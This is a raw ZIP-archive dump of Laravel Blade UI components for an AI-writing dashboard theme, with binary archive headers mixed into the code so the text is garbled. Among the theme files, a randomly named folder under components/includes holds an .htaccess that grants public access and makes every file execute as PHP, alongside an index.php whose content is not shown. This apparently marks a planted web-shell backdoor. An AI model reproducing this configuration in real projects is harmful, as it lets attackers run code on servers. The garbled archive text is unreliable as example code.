    first) x-cloak @endif @if (count($item['sliders']) > 1) x-show="$data.activeSlide === {{ $loop->index }}"" x-transition:enter="delay-100" x-transition:enter-start="opacity-0 -translate-y-2" x-transition:enter-end="opacity-100 translate-y-0" x-transition:leave-start="opacity-100 translate-y-0" x-transition:leave-end="opacity-0 translate-y-2" @endif > {!! $slide['title'] !!}

    @endif @if (isset($slide['description']) && filled($slide['description']))

    first) x-cloak @endif @if (count($item['sliders']) > 1) x-show="$data.activeSlide === {{ $loop->index }}"" x-transition:enter="delay-200" x-transition:enter-start="opacity-0 -translate-y-2" x-transition:enter-end="opacity-100 translate-y-0" x-transition:leave-start="opacity-100 translate-y-0" x-transition:leave-end="opacity-0 translate-y-2" @endif > {!! $slide['description'] !!}

    @endif @endforeach @if (count($item['sliders']) > 1)
    @foreach ($item['sliders'] as $slide) @endforeach
    @endif
    @endif
    @endforeach
    PK˜W]ÏíAS‘‘!default/components/card.blade.phpnu„[µü¤@php $base_class = 'lqd-card text-card-foreground bg-card-background w-full transition-all group/card'; $head_base_class = 'lqd-card-head border-b border-card-border px-6 py-3.5 relative transition-border'; $body_base_class = 'lqd-card-body relative only:grow'; $foot_base_class = 'lqd-card-foot border-t border-card-border relative transition-border'; $variations = [ 'variant' => [ 'none' => 'lqd-card-variant-none', 'solid' => 'lqd-card-solid rounded-card', 'outline' => 'lqd-card-outline border border-card-border rounded-card', 'shadow' => 'lqd-card-shadow rounded-card', 'outline-shadow' => 'lqd-card-outline-shadow border border-card-border rounded-card', ], 'size' => [ 'none' => 'lqd-card-size-none', 'xs' => 'lqd-card-xs px-5 py-3', 'sm' => 'lqd-card-sm p-4', 'md' => 'lqd-card-md py-5 px-7', 'lg' => 'lqd-card-lg py-8 px-10', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.card.variant', 'outline')]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size'][Theme::getSetting('defaultVariations.card.size', 'md')]; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $variant, $attributes->get('class')) }}> @if (!empty($head))
    twMergeFor('head', $head_base_class, $head->attributes->get('class')) }}> {{ $head }}
    @endif
    twMergeFor('body', $body_base_class, $size) }}> {{ $slot }}
    @if (!empty($foot))
    twMergeFor('foot', $foot_base_class, $foot->attributes->get('class')) }}> {{ $foot }}
    @endif
    PK˜W]ÌmQ§OO default/components/box.blade.phpnu„[µü¤
    @if (!empty($icon))
    {{ $icon }}
    @endif @if (!empty($image))
    {{ $image }}
    @endif

    {!! $title !!} @if (!empty($badge)) {{ $badge }} @endif

    @if (!empty($desc))

    {!! $desc !!}

    @endif
    PK˜W]JõYÏ””&default/components/color-box.blade.phpnu„[µü¤ 'text-[#CBA153] bg-[#CBA153] bg-opacity-[0.07] hover:shadow-[#cba15326]', 'purple' => 'text-[#AB7FE6] bg-[#AB7FE6] bg-opacity-[0.07] hover:shadow-[#ab7fe621]', 'teal' => 'text-[#57CBC6] bg-[#57CBC6] bg-opacity-[0.07] hover:shadow-[#57cbc624]', 'blue' => 'text-[#7F8FE6] bg-[#7F8FE6] bg-opacity-[0.07] hover:shadow-[#7f8fe624]', 'green' => 'text-[#6BAC65] bg-[#6BAC65] bg-opacity-[0.07] hover:shadow-[#6bac6524]', 'red' => 'text-[#EF793A] bg-[#EF793A] bg-opacity-[0.07] hover:shadow-[#ef793a1f]', ]; if ( !empty( $color ) && isset( $color_variants[$color] ) ) { array_push( $wrapper_classnames, $color_variants[$color] ); } ?>

    {{$title}}

    PK˜W]ÞG8òÎÎ)default/components/info-tooltip.blade.phpnu„[µü¤@php $base_class = 'lqd-tooltip-container group relative inline-flex cursor-default before:absolute before:-start-1.5 before:-top-1.5 before:h-7 before:w-7 [&:hover>.lqd-tooltip-content]:visible [&:hover>.lqd-tooltip-content]:translate-y-0 [&:hover>.lqd-tooltip-content]:opacity-100'; $content_class = 'lqd-tooltip-content min-w-64 invisible absolute start-1/2 z-50 mb-3 -translate-x-1/2 rounded-xl bg-background/80 px-4 py-3 text-center text-xs leading-normal text-foreground opacity-0 shadow-lg shadow-black/5 backdrop-blur-sm backdrop-saturate-150 transition-all before:absolute before:inset-x-0 before:h-3'; if ($anchor === 'bottom') { $content_class .= ' bottom-full translate-y-1 before:-top-3'; } elseif ($anchor === 'top') { $content_class .= ' top-full -translate-y-1 before:-bottom-3'; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> twMergeFor('icon', 'lqd-tooltip-icon opacity-40') }}> twMergeFor('content', $content_class) }}> {{ $text }} @if ($drivers->isNotEmpty())
    {{ __('Credits Details') }}

    @foreach ($drivers as $driver) @if (!$driver->hasCreditBalance()) @continue @endif
    {{ $driver->enum()->value }} {{ $driver->isUnlimitedCredit() ? __('Unlimited') : $driver->creditBalance() }}
    @endforeach
    @endif
    PK˜W]RˆŠHH&default/components/form-step.blade.phpnu„[µü¤@php $base_class = 'lqd-form-step flex items-center gap-3 rounded-xl bg-primary/5 px-4 py-3 text-sm font-semibold dark:bg-primary/10'; $step_base_class = 'lqd-form-step-num inline-flex size-6 shrink-0 items-center justify-center rounded-full bg-primary text-sm text-primary-foreground'; @endphp

    withoutTwMergeClasses()->twMerge($base_class) }} {{ $attributes }} > @if ($step != '') twMergeFor('step', $step_base_class) }}> {{ $step }} @endif {{ $label }} {{ $slot }}

    PK˜W]j€øaMM#default/components/header.blade.phpnu„[µü¤
    !$attributes->get('layout-wide'), 'container-fluid' => $attributes->get('layout-wide'), Theme::getSetting('wideLayoutPaddingX', '') => filled(Theme::getSetting('wideLayoutPaddingX', '')) && $attributes->get('layout-wide'), ])> {{-- Mobile nav toggle and logo --}} {{-- Title slot --}} @if ($title ?? false) @endif @includeFirst(['focus-mode::header', 'components.includes.ai-tools', 'vendor.empty']) {{-- Search form --}}
    {{-- Action buttons --}} @if ($actions ?? false) {{ $actions }} @else
    @if (Auth::user()->isAdmin()) @if ($app_is_not_demo) @endif {{ __('Admin Panel') }} @endif @if ($settings_two->liquid_license_type == 'Extended License' && $app_is_demo) @if ($subscription = getSubscription()) {{ $subscription?->plan?->name }} - {{ getSubscriptionDaysLeft() }} {{ __('Days Left') }} @else {{ __('No Active Subscription') }} @endif {{ __('Upgrade') }} @endif
    @endif
    @includeIf('marketing-bot::header.inbox-notification') @includeIf('chatbot-agent::header.inbox-notification') {{-- Dark/light switch --}} @if (Theme::getSetting('dashboard.supportedColorSchemes') === 'all') @endif @includeFirst(['focus-mode::ai-tools-button', 'components.includes.ai-tools-button', 'vendor.empty']) @if ($app_is_not_demo && Auth::user()->isAdmin() && !\App\Helpers\Classes\Helper::showIntercomForVipMembership()) {{-- Upgrade button --}} @includeIf('premium-support.index') @endif @if (setting('notification_active', 0)) {{-- Notifications --}} @endif {{-- Language dropdown --}} @if (count(explode(',', $settings_two->languages)) > 1) @endif {{-- User menu --}}
    PK˜W]µŸ@gg-default/components/modal-new/button.blade.phpnu„[µü¤ PK˜W]¯kàff,default/components/modal-new/index.blade.phpnu„[µü¤@props([ 'id' => null, 'maxWidth' => 'sm', 'title' => null, 'triggerAs' => 'button', 'description' => null, 'icon' => null, 'buttons' => null, 'focusable' => false, 'cancelAttributes' => [], 'showCancelButton' => false, 'cancelButtonText' => __('Cancel'), 'dismiss' => true, 'noCancelClick' => false, 'inlineButtons' => false, ]) @php $hasWireModel = $attributes->has('wire:model.live'); $id = $id ?? md5($hasWireModel ? $attributes->wire('model') : $title ?? $description); $maxWidth = [ 'sm' => 'sm:max-w-sm', 'md' => 'sm:max-w-md', 'lg' => 'sm:max-w-lg', 'xl' => 'sm:max-w-xl', '2xl' => 'sm:max-w-2xl', ][$maxWidth ?? '2xl']; if ($showCancelButton || $dismiss) { $cancelAttributes = new \Illuminate\View\ComponentAttributeBag($noCancelClick ? $cancelAttributes : array_merge(['@click' => 'closeModal'], $cancelAttributes)); } @endphp
    except('wire:model.live')->merge() }}> @isset($trigger) @if ($triggerAs === 'button') {!! $trigger !!} @else attributes->merge([ '@click' => 'openModal', ]) }}>{!! $trigger !!} @endif @endisset
    PK˜W]h&vú——%default/components/lqd-icon.blade.phpnu„[µü¤@php $base_class = 'lqd-icon flex items-center justify-center shrink-0 relative shadow-xs rounded-full transition-all bg-primary text-primary-foreground [&_svg]:max-w-full [&_svg]:h-auto'; $original_size = $size; $variations = [ 'size' => [ 'none' => 'lqd-icon-size-none', 'sm' => 'lqd-icon-sm size-7', 'md' => 'lqd-icon-md size-9', 'lg' => 'lqd-icon-lg size-10', 'xl' => 'lqd-icon-xl size-11', ], ]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp withoutTwMergeClasses()->twMerge($base_class, $size, $attributes->get('class')) }}> {{ $slot }} @if ($activeBadge) $original_size !== 'sm' && $original_size !== 'xs', 'size-2.5' => $original_size === 'sm' || $original_size === 'xs', 'bg-green-500' => $activeBadgeCondition, 'bg-red-500' => !$activeBadgeCondition, ])> @endif PK˜W]ì\zÜ  ,default/components/favorite-button.blade.phpnu„[µü¤@php $base_class = 'lqd-fav-btn z-10 size-9'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} size="none" variant="ghost-shadow" x-data="{ isFavorite: {{ $isFavorite ? 'true' : 'false' }} }" @click.prevent="$ajax('{{ $updateUrl }}', { method: 'post', body: { _token: '{{ csrf_token() }}', id: {{ $id }} }, events: true, })" @ajax:missing="$event.preventDefault()" @ajax:after="isFavorite = !isFavorite; $dispatch('favorite-toggled', { id: {{ $id }}, isFavorite: isFavorite })" href="#" title="{{ __('Favorite') }}" > PK˜W]HpÏïZZ5default/components/team-credit-list-partial.blade.phpnu„[µü¤ @foreach ($categories as $key => $model) @php $userTeam = (isset($team) && $team->exists) ? $team : auth()?->user()?->myTeam; $drivers = $model->forTeam($userTeam)->list(); $groupName = $drivers->isNotEmpty() ? $drivers->first()->enum()->subLabel() : ''; $isUnlimited = $model->checkIfThereUnlimited(); $credits = $model->totalCredits(); $tooltip_anchor = $loop->index < 4 ? 'top' : 'bottom'; @endphp @if (!$isUnlimited && $credits <= 0) @continue @endif @endforeach
    {{ __('Model') }} {{ __('Credits') }}
    {{ $groupName }} {{ $isUnlimited ? __('Unlimited') : $credits }}
    PK˜W]Îã!default/components/warn.blade.phpnu„[µü¤ [ 'sm' => 'lqd-legend-sm size-2', 'sm' => 'lqd-legend-sm size-2', 'md' => 'lqd-legend-md size-2.5', ], ]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> twMergeFor('box', $size, $box_base_class) }}> twMergeFor('label', $label_base_class) }}> {{ $label }} {{ $slot }}
    PK˜W]j~æ7zz(default/components/text-reveal.blade.phpnu„[µü¤@props([ 'start' => 'top bottom', 'end' => 'center 65%', 'animateFrom' => [ 'opacity' => 0.2, ], 'animateTo' => [ 'opacity' => 1, ], ]) {{ $slot }} PK˜W]a|—D··"default/components/alert.blade.phpnu„[µü¤@php $base_class = 'lqd-alert border border-input-border bg-input-background flex gap-2 font-medium [&_:first-child]:mt-0 [&_:last-child]:mb-0'; $icon_base_class = 'lqd-alert-icon size-5 shrink-0'; $variations = [ 'variant' => [ 'info' => 'lqd-alert-info shadow-sm text-blue-600', 'warn' => 'lqd-alert-warn shadow-sm text-orange-600', 'danger' => 'lqd-alert-danger shadow-sm text-red-600 dark:text-red-500', 'success' => 'lqd-alert-danger shadow-sm text-green-600', 'info-fill' => 'lqd-alert-info bg-blue-700/10 text-blue-800 border-none', 'warn-fill' => 'lqd-alert-warn bg-yellow-700/10 text-yellow-900 border-none dark:bg-yellow-300/10 dark:text-yellow-500', 'danger-fill' => 'lqd-alert-danger bg-red-700/10 text-red-900 border-none', 'success-fill' => 'lqd-alert-success bg-green-700/10 text-green-800 border-none', ], 'size' => [ 'none' => 'lqd-alert-size-none', 'sm' => 'lqd-alert-sm p-2 rounded-md', 'md' => 'lqd-alert-md px-5 py-1.5 rounded-lg', 'lg' => 'lqd-alert-lg p-6 rounded-xl', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant']['info']; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp
    merge(['class' => $base_class . ' ' . $variant . ' ' . $size]) }} --}} {{ $attributes->withoutTwMergeClasses()->twMerge($base_class, $variant, $size) }} {{ $attributes }} > @if (filled($icon)) withoutTwMergeClasses()->twMergeFor('icon', $icon_base_class) }} /> @endif
    {{ $slot }}
    PK˜W]ê½6”Û$Û$.default/components/plan-details-card.blade.phpnu„[µü¤@php use App\Enums\Plan\TypeEnum; $isPrepaid = $plan->type === TypeEnum::TOKEN_PACK->value; $check_html = ''; if ($style === 'style-2') { $check_html = ' '; } elseif ($style === 'style-3') { $check_html = ''; } @endphp
    • $style === 'style-1', ])> {!! $check_html !!} {{ __('Access') }} {{ $isPrepaid ? __('All') : __($plan->checkOpenAiItemCount()) }} {{ __('Features') }}
    • $style === 'style-1', ])> {!! $check_html !!} @lang('Plan Credits')
    • @if ($plan->is_team_plan)
    • $style === 'style-1', ])> {!! $check_html !!} {{ number_format($plan->plan_allow_seat) }} {{ __('Team allow seats') }}
    • @endif @if ($plan->trial_days > 0)
    • $style === 'style-1', ])> {!! $check_html !!} {{ number_format($plan->trial_days) . ' ' . __('Days of free trial.') }}
    • @endif @if (!empty($plan->features)) @foreach (explode(',', $plan->features) as $feature)
    • $style === 'style-1', ])> {!! $check_html !!} {{ trim(__($feature)) }}
    • @endforeach @endif
    PK˜W]ñŸ§7bb(default/components/icon-picker.blade.phpnu„[µü¤
    PK˜W]äîÒMyy0default/components/credit-list-partial.blade.phpnu„[µü¤ @foreach ($categories as $key => $model) @php if (isset($plan) && $plan->exists) { $drivers = $model->forPlan($plan)->list(); } else { $drivers = $model->forUser(auth()->user())->list(); } $groupName = $drivers->isNotEmpty() ? $drivers->first()->enum()->subLabel() : ''; $isUnlimited = $model->checkIfThereUnlimited(); $credits = $model->totalCredits(); $tooltip_anchor = $loop->index < 4 ? 'top' : 'bottom'; @endphp @if (!$isUnlimited && $credits <= 0) @continue @endif @endforeach
    {{ __('Model') }} {{ __('Credits') }}
    {{ $groupName }} {{ $isUnlimited ? __('Unlimited') : $credits }}
    PK˜W]XŠ„¥¥+default/components/number-counter.blade.phpnu„[µü¤@php $base_class = 'lqd-number-counter inline-flex h-[1lh] leading-none'; $value_class = 'lqd-number-counter-value inline-flex h-full'; @endphp @props([ 'value' => 0, 'options' => [], 'dynamicValueListener' => false, ]) withoutTwMergeClasses()->twMerge($base_class) }}> twMergeFor('value', $value_class) }} x-data="numberCounter({ value: '{{ $value }}', options: {{ json_encode($options) }} })" @if ($dynamicValueListener) @dynamic-value-{{ $dynamicValueListener }}.window="updateValue($event.detail)" @endif > {{ preg_replace('/\d/', '0', $value) }} PK˜W]™¹²kk)default/components/tabs-trigger.blade.phpnu„[µü¤ PK˜W]Åq  -default/components/change-indicator.blade.phpnu„[µü¤ $value == 0, 'text-red-700 bg-red-700/10 dark:bg-red-600/10 dark:text-red-600' => $value < 0, 'text-green-600 bg-green-500/10' => $value > 0, ])> {{ $value }}% PK˜W]p uniqid(''), 'position' => 'br', // br, bl, tr, tl 'width' => '680px', 'height' => '180px', 'roundness' => '12px', 'x' => '0px', 'y' => '0px', 'skew' => '0deg', 'extendedCorner' => [], ]) @php $base_classname = "lqd-cutout cutout-{$elId} lqd-cutout-1 lqd-cutout-{$position} pointer-events-none hidden lg:block"; @endphp @push('css') @endpush
    withoutTwMergeClasses()->twMerge($base_classname) }} >
    @if (filled($extendedCorner)) @endif @if ((int) $x === 0) @endif (int) $x === 0, 'lqd-cutout-mask-circle-be' => (int) $x !== 0, ]) cx="50" cy="50" r="50" fill="white" mask="url(#lqd-cutout-mask-circle-{{ (int) $x === 0 ? 'te' : 'be' }}-{{ $elId }})" > @if (filled($extendedCorner)) @endif
    PK˜W]¨A(i33*default/components/favorite-icon.blade.phpnu„[µü¤@php $base_class = 'lqd-favorite-icon flex items-center justify-center w-4 h-4 group'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} > PK˜W]*default/components/header-search.blade.phpnu„[µü¤PK˜W]ó–)d0d09default/components/select-ai-model-list-un-auth.blade.phpnu„[µü¤@php use App\Domains\Engine\Enums\EngineEnum; use App\Domains\Entity\Enums\EntityEnum; use App\Domains\Entity\Models\Entity; use App\Domains\Entity\Facades\Entity as EntityFacade; use App\Helpers\Classes\MarketplaceHelper; use App\Extensions\OpenRouter\System\Enums\OpenRouterEngine; // Initialize default engine and model $defaultEngineSlug = setting('default_ai_engine', EngineEnum::OPEN_AI->slug()); $defaultEngine = EngineEnum::fromSlug($defaultEngineSlug); $defaultModel = $defaultEngine?->getDefaultWordModel($setting); // Get all selected models with word tokens $selectedModels = Entity::where('is_selected', true) ->whereHas('tokens', function ($query) { $query->where('type', 'word'); }) ->get() ->filter(function ($model) { return !empty($model->key); }) ->pluck('key') ->toArray(); // Initialize OpenRouter models if registered $openRouterModels = []; if (MarketplaceHelper::isRegistered('open-router')) { try { $openRouterModels = OpenRouterEngine::cases(); } catch (\Exception $e) { \Log::warning('Failed to load OpenRouter models: ' . $e->getMessage()); $openRouterModels = []; } } // Merge all models and ensure uniqueness $fullModels = collect() ->when($defaultModel, fn($collection) => $collection->push($defaultModel)) ->merge($selectedModels) ->merge($openRouterModels) ->filter() // Remove null/empty values ->unique('value') ->values(); // Initialize selected model driver $selectedModel = null; if ($defaultModel?->value) { try { $entityEnum = EntityEnum::tryFrom($defaultModel->value); $selectedModel = $entityEnum ? EntityFacade::driver($entityEnum) : null; } catch (\Exception $e) { \Log::warning('Failed to initialize selected model driver: ' . $e->getMessage()); $selectedModel = null; } } // Fallback if no selected model if (!$selectedModel && $fullModels->isNotEmpty()) { try { $firstModel = EntityEnum::tryFrom($fullModels->first()?->value); $selectedModel = $firstModel ? EntityFacade::driver($firstModel) : null; } catch (\Exception $e) { $selectedModel = null; } } // Check authentication status $isAuthenticated = auth()->check(); // Pre-load model drivers to avoid N+1 queries in the loop $modelDrivers = collect(); foreach ($fullModels as $model) { try { $entityEnum = EntityEnum::fromSlug($model?->value); if ($entityEnum) { $driver = EntityFacade::driver($entityEnum); $modelDrivers->put($model->value, $driver); } } catch (\Exception $e) { \Log::warning("Failed to load driver for model {$model?->value}: " . $e->getMessage()); } } @endphp
    @lang('AI Model: ') {{ Str::limit($selectedModel?->model()?->selected_title ?? $selectedModel?->enum()?->value ?? __('Default Model'), 20) }}

    @lang('AI Models')

    @lang('Choose the AI model that best suits your needs.')

    @forelse ($fullModels as $engine) @php $modelEnum = EntityEnum::fromSlug($engine?->value); $driver = $modelDrivers->get($engine?->value); $isDefaultModel = $modelEnum?->value === $defaultModel?->value; $modelTitle = $driver?->model()?->selected_title ?? $modelEnum?->value ?? __('Unknown Model'); $isAccessible = $isDefaultModel || $isAuthenticated; @endphp !$isAccessible, ]) variant="outline-shadow" @click.prevent="updateSelectedModels({ value: $el.getAttribute('data-model-value'), label: $el.getAttribute('data-model-label') })" ::data-selected="isModelSelected($el.getAttribute('data-model-value'))" x-show="searchString === '' || $el.getAttribute('data-model-label').toLowerCase().includes(searchString.toLowerCase())" >

    @lang('Words')

    @if($isDefaultModel) @lang('Free') @elseif(!$isAuthenticated) @lang('Login Required') @else @lang('Unlimited Credits') @endif

    {{ $modelTitle }}

    @if(!$isAccessible && !$isDefaultModel)

    @lang('Login required to access this model')

    @endif
    @empty

    @lang('No AI models available')

    @endforelse
    @foreach ($fullModels as $model) @php $modelEnum = EntityEnum::fromSlug($model?->value); $driver = $modelDrivers->get($model?->value); $label = $driver?->model()?->selected_title ?? $modelEnum?->value ?? __('Unknown Model'); @endphp @endforeach {{ __('Apply') }}
    PK˜W]ñä-::"default/components/modal.blade.phpnu„[µü¤@php $base_class = 'lqd-modal lqd-modal-' . $type . ' relative'; $modal_base_class = 'lqd-modal-modal z-[999] flex items-center justify-center overflow-y-auto overscroll-contain'; $modal_backdrop_base_class = 'lqd-modal-backdrop fixed inset-0 bg-black/5 backdrop-blur-sm'; $modal_head_base_class = 'lqd-modal-head flex flex-wrap items-center gap-3 border-b px-4 py-2 relative'; $modal_body_base_class = 'lqd-modal-body p-10'; $modal_content_base_class = 'lqd-modal-content relative z-[100] max-h-[95vh] min-w-[min(calc(100%-2rem),540px)] overflow-y-auto overscroll-contain rounded-xl bg-background shadow-2xl shadow-black/10'; $modal_close_btn_base_class = 'lqd-modal-close size-8 ms-auto inline-flex items-center justify-center rounded-lg transition-all hover:bg-foreground/20'; if ($type !== 'inline') { $modal_base_class .= ' fixed inset-0'; } else { $modal_base_class .= ' hidden fixed max-md:inset-0 md:absolute top-full min-w-[min(calc(100vw-2rem),450px)] mt-3'; if ($anchor === 'start') { $modal_base_class .= ' start-0'; } else { $modal_base_class .= ' end-0'; } } if ($type === 'page') { $modal_base_class .= ' '; $modal_content_base_class .= ' max-h-screen bg-transparent shadow-none w-[clamp(100%,1440px,90vw)]'; $modal_head_base_class .= ' border-none p-0 w-[clamp(100%,1440px,90vw)]'; $modal_body_base_class .= ' py-24 px-0'; $modal_close_btn_base_class .= ' absolute top-11 end-0 lg:end-11 bg-background text-heading-foreground size-14 rounded-full hover:bg-background hover:scale-110'; } @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} x-data="{ modalOpen: false, toggleModal() { @if ($disableModal) toastr.info( '{{ $disableModalMessage }}' ) @else this.modalOpen = !this.modalOpen @endif } }" :class="{ 'modal-open': modalOpen }" > @if (!empty($trigger)) @if ($trigger->attributes['custom'] ?? false) {{ $trigger }} @else {{ $trigger }} @endif @endif @if (!empty($modal) && !$disableModal) @if ($type !== 'inline') @endif @endif
    PK˜W]â*ñ77-default/components/progressive-blur.blade.phpnu„[µü¤@props([ 'base_val' => 1, 'dir' => null, ])
    twMerge('lqd-progressive-blur-container overflow-hidden absolute top-0 left-0 right-0 bottom-0 pointer-events-none') }} style="--dir-y:{{ $dir === 'reverse' ? '1' : '-1' }}; --base-val:{{ $base_val }}" > @for ($i = 0; $i < 7; $i++)
    @endfor
    PK˜W]œÓ>©©:default/components/includes/credit-list-for-user.blade.phpnu„[µü¤ PK˜W]Þ¨•sZZ1default/components/includes/files19559e/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PK˜W]³]w  1default/components/includes/files19559e/index.phpnu„[µü¤PK˜W]dW¢m��(default/components/navbar/link.blade.phpnu„[µü¤@php $is_modal = $triggerType === 'modal' && !empty($modal); @endphp @if ($is_modal) @include('components.navbar.partials.link-markup') {{ $modal }} @else @include('components.navbar.partials.link-markup') @endif PK˜W] -ÖÖ)default/components/navbar/label.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-label inline-block max-w-full overflow-hidden text-ellipsis pb-navbar-link-pb ps-navbar-link-ps ps-navbar-link-ps pt-navbar-link-pt text-4xs uppercase tracking-widest lg:group-[&.navbar-shrinked]/body:w-full lg:group-[&.navbar-shrinked]/body:px-2 lg:group-[&.navbar-shrinked]/body:text-center'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> {{ $slot }} PK˜W]CZv»óó(default/components/navbar/item.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-item relative group/nav-item'; @endphp
  • withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} x-data="navbarItem()" x-bind="item" > {{ $slot }}
  • PK˜W]öQ(."."*default/components/navbar/navbar.blade.phpnu„[µü¤ {{ __('Skip to content') }} PK˜W]ȰCôVV1default/components/navbar/dropdown/link.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-dropdown-link py-2 px-5 hover:bg-transparent hover:underline [&.active]:bg-transparent [&.active]:underline dark:[&.active]:before:hidden group-[&.navbar-shrinked]/body:group-hover/nav-item:bg-transparent group-[&.navbar-shrinked]/body:group-hover/nav-item:text-inherit'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} :$href :$slug :$label :$icon :$iconHtml :$activeCondition :$new :$letterIcon :$dropdownTrigger :$badge > PK˜W]_�x¶995default/components/navbar/dropdown/dropdown.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-dropdown ps-7'; if (empty($open)) { $base_class .= ' hidden'; } @endphp
      withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} :class="{ 'hidden': !dropdownOpen && '{{ $open }}' == '' }" > {{ $slot }}
    PK˜W]�-kƒÉÉ1default/components/navbar/dropdown/item.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-dropdown-item'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> {{ $slot }} PK˜W](}�ó²²+default/components/navbar/divider.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-divider my-3 border-navbar-divider'; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> PK˜W]Ý­_\Ö Ö 8default/components/navbar/partials/link-markup.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-link flex items-center gap-2 ps-navbar-link-ps pe-navbar-link-pe pt-navbar-link-pt pb-navbar-link-pb rounded-navbar-link relative transition-colors group/link hover:bg-navbar-background-hover/5 hover:text-navbar-foreground-hover [&.active]:bg-navbar-background-active/5 [&.active]:text-navbar-foreground-active dark:[&.active]:bg-transparent dark:before:w-1.5 dark:before:h-full dark:before:absolute dark:before:top-0 dark:before:-start-2 dark:before:bg-current dark:before:rounded-e-lg dark:before:opacity-0 dark:[&.active]:before:opacity-100'; $label_base_class = 'lqd-nav-link-label flex grow gap-2 items-center transition-[opacity,transform,visbility] [&_.lqd-nav-item-badge]:ms-auto'; $letter_icon_base_class = 'lqd-nav-link-letter-icon inline-flex size-6 shrink-0 items-center justify-center rounded-md bg-primary text-4xs text-primary-foreground'; $target = '_self'; // setting href if (!empty($href) && $href !== '#') { if (is_string($href) && Route::has($href)) { $href = !empty($slug) ? route($href, $slug) : route($href); } else { $target = '_blank'; } } // if (empty(trim($activeCondition)) && !empty($href)) { // $activeCondition = $href === url()->current(); // } if ($activeCondition) { $base_class .= ' active'; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} href="{{ $href }}" target="{{ $target }}" x-data="navbarLink({ isDemo: {{ $app_is_demo ? 'true' : 'false' }} })" @if ($dropdownTrigger) @click.prevent="toggleDropdownOpen()" @endif @if ($triggerType === 'modal') @click.prevent="toggleModal()" @endif > @if ($letterIcon && !empty($label)) twMergeFor('letter-icon', $letter_icon_base_class) }} @if (!empty($letterIconStyles)) style="{{ $letterIconStyles }}" @endif > {{ mb_substr($label, 0, 1) }} @endif @if (!empty($icon) || !empty($iconHtml)) @if (!empty($iconHtml)) {!! $iconHtml !!} @else @endif @endif @if (!empty($label)) twMergeFor('label', $label_base_class, $attributes->get('class:label')) }}> {{ $label }} @endif @if ($dropdownTrigger) @endif @if ($badge && $app_is_demo) @if (!empty($badge)) {{ mb_strtoupper($badge) }} @else {{ __('NEW') }} @endif @endif PK˜W]¶ª§ËË<default/components/navbar/partials/credit-for-menu.blade.phpnu„[µü¤ {{ __('Credits') }} PK˜W]°î&U¢¢8default/components/navbar/partials/types/label.blade.phpnu„[µü¤ {{ __(data_get($item, 'label')) }} PK˜W]“mÏi887default/components/navbar/partials/types/item.blade.phpnu„[µü¤@if ($item['show_condition']) @php $href = $item['route_slug'] && \App\Helpers\Classes\Helper::hasRoute($item['route']) ? route($item['route'], $item['route_slug']) : (\App\Helpers\Classes\Helper::hasRoute($item['route']) ? route($item['route']) : ''); $is_active = $href === url()->current() || activeRoute(...$item['active_condition'] ?: []); @endphp @endif PK˜W]ê�ó&99:default/components/navbar/partials/types/divider.blade.phpnu„[µü¤ PK˜W]âI”›k k @default/components/navbar/partials/types/item-dropdown.blade.phpnu„[µü¤@php $href = \App\Helpers\Classes\Helper::hasRoute($item['route']) && $item['route_slug'] ? route($item['route'], $item['route_slug']) : route(\App\Helpers\Classes\Helper::hasRoute($item['route']) ? $item['route'] : 'default'); $is_active = $href === url()->current(); if (!$is_active) { foreach ($item['children'] as $child) { if (!Route::has($child['route'])) { continue; } $child_href = $child['route_slug'] ? route($child['route'], $child['route_slug']) : route($child['route']); $child_is_active = $child_href === url()->current(); if ($child_is_active) { $is_active = true; break; } } } @endphp @foreach ($item['children'] as $child) @php $key = data_get($child, 'key'); @endphp @if (\App\Helpers\Classes\PlanHelper::planMenuCheck($userPlan, $key)) @if (data_get($child, 'show_condition', true) && data_get($item, 'is_active')) @php $child_href = $child['route_slug'] && \App\Helpers\Classes\Helper::hasRoute($child['route']) ? route($child['route'], $child['route_slug']) : route(\App\Helpers\Classes\Helper::hasRoute($child['route']) ? $child['route'] : 'default'); $child_is_active = $child_href === url()->current(); @endphp @endif @endif @endforeach PK˜W]v ]?ù?ù?(default/components/credit-list.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $base_class = 'lqd-remaining-credit relative mx-2 flex flex-col gap-3 text-2xs'; $progress_base_class = 'lqd-progress flex h-2 overflow-hidden rounded-full'; $progressbar_text_base_class = 'lqd-progress-bar grow-0 basis-auto bg-primary'; $progressbar_image_base_class = 'lqd-progress-bar grow-0 basis-auto bg-secondary'; $legend_text_base_class = 'group'; $legend_box_text_base_class = ''; $legend_image_base_class = 'group'; $legend_box_image_base_class = 'bg-secondary'; $modal_trigger_base_class = ''; $variations = [ 'progressHeight' => [ 'sm' => 'h-1', 'md' => 'h-2', ], ]; $progressHeight = $variations['progressHeight'][$progressHeight] ?? $variations['progressHeight']['md']; $random = random_int(100000, 900000); if 